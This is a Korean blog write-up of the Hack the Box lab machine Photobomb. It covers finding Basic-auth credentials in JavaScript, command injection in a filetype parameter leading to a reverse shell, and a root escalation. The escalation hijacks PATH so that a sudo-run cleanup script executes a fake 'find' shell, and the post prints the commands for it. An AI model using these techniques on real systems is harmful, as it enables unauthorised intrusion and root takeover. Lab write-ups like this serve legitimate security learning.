Hack the Box의 Photobomb을 풀어봅시다.
Port Scanning
제일 먼저 nmap을 이용하여 포트스캔을 돌렸을 때 나오는 결과는 다음과 같습니다.
아래의 포트가 열려있으며 ssh 연결은 ID와 패스워드를 모르니 http 부터 접근을 시도했다.
- ssh
- http
HTTP Service
그냥 접근하면 http://photobomb.htb/ 으로 리다이렉션 되고 접속이 안되지만 hosts 수정을 통해 접속을 할 수 있다.
페이지 접근시 아래와 같이 웹페이지가 보인다.
Click here에 접근하게 되면 Basic 인증을 통해 권한 체크를 하는 것으로 보인다.
JS분석을 통해 photobomb.js 파일에서 URL을 하나 찾았다. printer 해당 정보로 basic ID와 패스워드를 알 수 있다.
Command Injection(RCE)
파일 다운로드 기능 하나가 보여서 파일 다운로드 취약점과 관련이 있을 것으로 판단하여 photo 파라미터에 ../등 인풋을 넣어보았지만 딱히 별 반응이 없다….
Write-up을 보니 filetype 파라미터 curl 명령어를 통해 내 http 서버로 요청을 시도했는데 응답이 왔다. Command Injection이 가능하여 리버스 쉘을 연결이 가능하다. (흠 요부분이 잘이해가 되지 않는다..)
Reverse Shell Generator를 이용하여 쉘을 만들어 연결까지 가능하다.
user.txt를 찾아 FLAG를 찾을 수 있다.
privilege escalation
다음은 권한 상승을 통해 root flag를 찾아야한다. sudo -l 으로 사용자 권한을 나열하거나 특정 명령어를 확인하면 /opt/cleanup.sh 에서 root 권한으로 파일을 실행하는 것을 알 수 있다.
1
2
3
4
5
6
7
sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
/opt/cleanup.sh 파일 내용을 보면 photobomb.log.old 파일에 photobomb.log을 덮어 씌우고 photobomb.log파일 내용을 truncate 명령어로 삭제한다.
맨 마지막 코드에서 권한상승이 가능합니다. (요기서 너무 막혔다 아직 잘 이해가 안됨;;;) find는 절대 경로 대신에 상대 경로를 사용하기에 환경 변수를 변경하여 현재 디렉토리에 find 파일을 만들어 이안에 쉘을 작성하면 루트 권한을 얻을 수 있다고 합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
wizard@photobomb:~$ cat /opt/cleanup.sh
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
root 권한이 획득이 가능하다.
1
2
3
4
5
wizard@photobomb:~$ echo "/bin/bash" > find
wizard@photobomb:~$ chmod +x find
wizard@photobomb:~$ echo "sudo PATH=$PWD:$PATH /opt/cleanup.sh
wizard@photobomb:~$ id
id uid=0(root) gid=0(root) groups=0(root)
root.txt를 찾아 Flag를 획득할 수 있다.
후기
해당 문제는 3개의 키워드로 나타낼 수 있을꺼 같다.
- Javascript를 통해 basic 인증 ID/PASSWORD 찾기
- /printer 페이지에서 Command Injection (RCE)
- privilege escalation
사실상 2,3번이 핵심인데 도저히 모르겠어서 Write-up을 참고 하였는데 쉽지가 않다. 우선 해당 취약점이 발생하는 원인부터 다시 공부해야겠다. 후…